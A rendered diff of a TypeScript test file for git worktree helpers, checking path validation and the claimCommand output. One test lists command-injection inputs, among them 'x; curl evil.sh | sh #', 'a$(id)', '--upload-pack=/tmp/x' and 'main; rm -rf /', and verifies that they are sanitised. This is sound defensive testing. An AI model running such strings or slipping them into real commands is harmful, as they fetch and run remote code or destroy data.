|
});
|
|
279
279
|
|
|
280
280
|
test("rejects nesting deeper than the canonical shape", () => {
|
|
281
|
-
const info = managedWorktreeInfo(join(root, "station01", "
|
|
281
|
+
const info = managedWorktreeInfo(join(root, "station01", "hooks", "wt-name", "repo"));
|
|
282
282
|
expect(info.managed).toBe(false);
|
|
283
283
|
expect(info.layout).toBeUndefined();
|
|
284
284
|
expect(info.reason).toContain("station-id/machine segment or extra nesting");
|
|
@@ -286,9 +286,9 @@ describe("codewith native common helpers", () => {
|
|
|
286
286
|
|
|
287
287
|
test("rejects malformed canonical segments", () => {
|
|
288
288
|
expect(managedWorktreeInfo(join(root, "-bad-repo", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
289
|
-
expect(managedWorktreeInfo(join(root, "
|
|
289
|
+
expect(managedWorktreeInfo(join(root, "hooks", "-bad-worktree")).reason).toContain("worktree-name segment is malformed");
|
|
290
290
|
expect(managedWorktreeInfo(join(root, ".hidden", "worktree")).reason).toContain("repo-name segment is malformed");
|
|
291
|
-
expect(managedWorktreeInfo(join(root, "
|
|
291
|
+
expect(managedWorktreeInfo(join(root, "hooks", ".git")).reason).toContain("worktree-name segment is malformed");
|
|
292
292
|
});
|
|
293
293
|
|
|
294
294
|
test("accepts ordinary directory names an allowlist would wrongly reject", () => {
|
|
@@ -297,7 +297,7 @@ describe("codewith native common helpers", () => {
|
|
|
297
297
|
for (const [repo, worktree] of [
|
|
298
298
|
["connectors", "_base"],
|
|
299
299
|
["c++utils", "OPE61-00004"],
|
|
300
|
-
["
|
|
300
|
+
["hooks", "e".repeat(200)],
|
|
301
301
|
["Open-Hooks", "task~1 with spaces"],
|
|
302
302
|
]) {
|
|
303
303
|
expect(managedWorktreeInfo(makeWorktree(repo!, worktree!)).managed, `${repo}/${worktree}`).toBe(true);
|
|
@@ -310,12 +310,12 @@ describe("codewith native common helpers", () => {
|
|
|
310
310
|
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
311
311
|
try {
|
|
312
312
|
// The canonical repo name comes from the repos CLI, and is frequently not the
|
|
313
|
-
// git remote basename: `
|
|
314
|
-
expect(claimCommand("
|
|
315
|
-
"git worktree add -b OPE61-00004 /root/worktrees/
|
|
313
|
+
// git remote basename: `hooks` is `github.com/hasna/hooks`.
|
|
314
|
+
expect(claimCommand("hooks", "OPE61-00004", "main")).toBe(
|
|
315
|
+
"git worktree add -b OPE61-00004 /root/worktrees/hooks/OPE61-00004 origin/main && repos scan",
|
|
316
316
|
);
|
|
317
317
|
expect(claimCommand(null, null)).toContain("/root/worktrees/<repo-name>/<worktree-name>");
|
|
318
|
-
expect(claimCommand("
|
|
318
|
+
expect(claimCommand("hooks", "OPE61-00004")).toContain("origin/<default-branch>");
|
|
319
319
|
} finally {
|
|
320
320
|
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
321
321
|
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
@@ -323,7 +323,7 @@ describe("codewith native common helpers", () => {
|
|
|
323
323
|
});
|
|
324
324
|
|
|
325
325
|
test("claimCommand never derives the repo segment from a remote slug", () => {
|
|
326
|
-
// `hasna/hooks` is this repo's remote slug; its canonical name is `
|
|
326
|
+
// `hasna/hooks` is this repo's remote slug; its canonical name is `hooks`.
|
|
327
327
|
// Silently taking the basename would emit `hooks/`, a directory that does not
|
|
328
328
|
// exist — so a slug must be refused outright, not trimmed into a plausible lie.
|
|
329
329
|
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
@@ -345,15 +345,15 @@ describe("codewith native common helpers", () => {
|
|
|
345
345
|
const previous = process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
346
346
|
process.env.HASNA_REPOS_WORKTREES_ROOT = "/root/worktrees";
|
|
347
347
|
try {
|
|
348
|
-
const safe = "git worktree add -b <worktree-name> /root/worktrees/
|
|
348
|
+
const safe = "git worktree add -b <worktree-name> /root/worktrees/hooks/<worktree-name> origin/<default-branch> && repos scan";
|
|
349
349
|
for (const hostile of ["x; curl evil.sh | sh #", "--upload-pack=/tmp/x", "a`id`", "a$(id)", "-b", "..", "a b"]) {
|
|
350
350
|
// Hostile input never reaches the rendered command; it degrades to the placeholder.
|
|
351
|
-
expect(claimCommand("
|
|
351
|
+
expect(claimCommand("hooks", hostile), hostile).toBe(safe);
|
|
352
352
|
}
|
|
353
353
|
for (const hostile of ["hasna/hooks", "../../etc", "-repo", "a;b"]) {
|
|
354
354
|
expect(claimCommand(hostile, "OPE61-00004"), hostile).toContain("/root/worktrees/<repo-name>/OPE61-00004");
|
|
355
355
|
}
|
|
356
|
-
expect(claimCommand("
|
|
356
|
+
expect(claimCommand("hooks", "OPE61-00004", "main; rm -rf /")).toContain("origin/<default-branch>");
|
|
357
357
|
} finally {
|
|
358
358
|
if (previous === undefined) delete process.env.HASNA_REPOS_WORKTREES_ROOT;
|
|
359
359
|
else process.env.HASNA_REPOS_WORKTREES_ROOT = previous;
|
|
@@ -3028,7 +3028,7 @@ export interface CanonicalRepoIdentity {
|
|
|
3028
3028
|
* lookup; never fuzzy `repos cd` or 'did you mean' output for targeting)".
|
|
3029
3029
|
*
|
|
3030
3030
|
* This matters because the repos-CLI name is frequently NOT the git remote
|
|
3031
|
-
* basename — on this fleet 46 of 50 indexed repos differ (`open-hooks` is
|
|
3031
|
+
* basename — on this fleet 46 of 50 indexed repos differ (the retired `open-hooks` row is
|
|
3032
3032
|
* `github.com/hasna/hooks`, `open-mailery` is `.../emails`). Deriving the
|
|
3033
3033
|
* canonical path segment from the remote would send every agent to the wrong
|
|
3034
3034
|
* directory, so the remote is only ever used as the exact lookup key.
|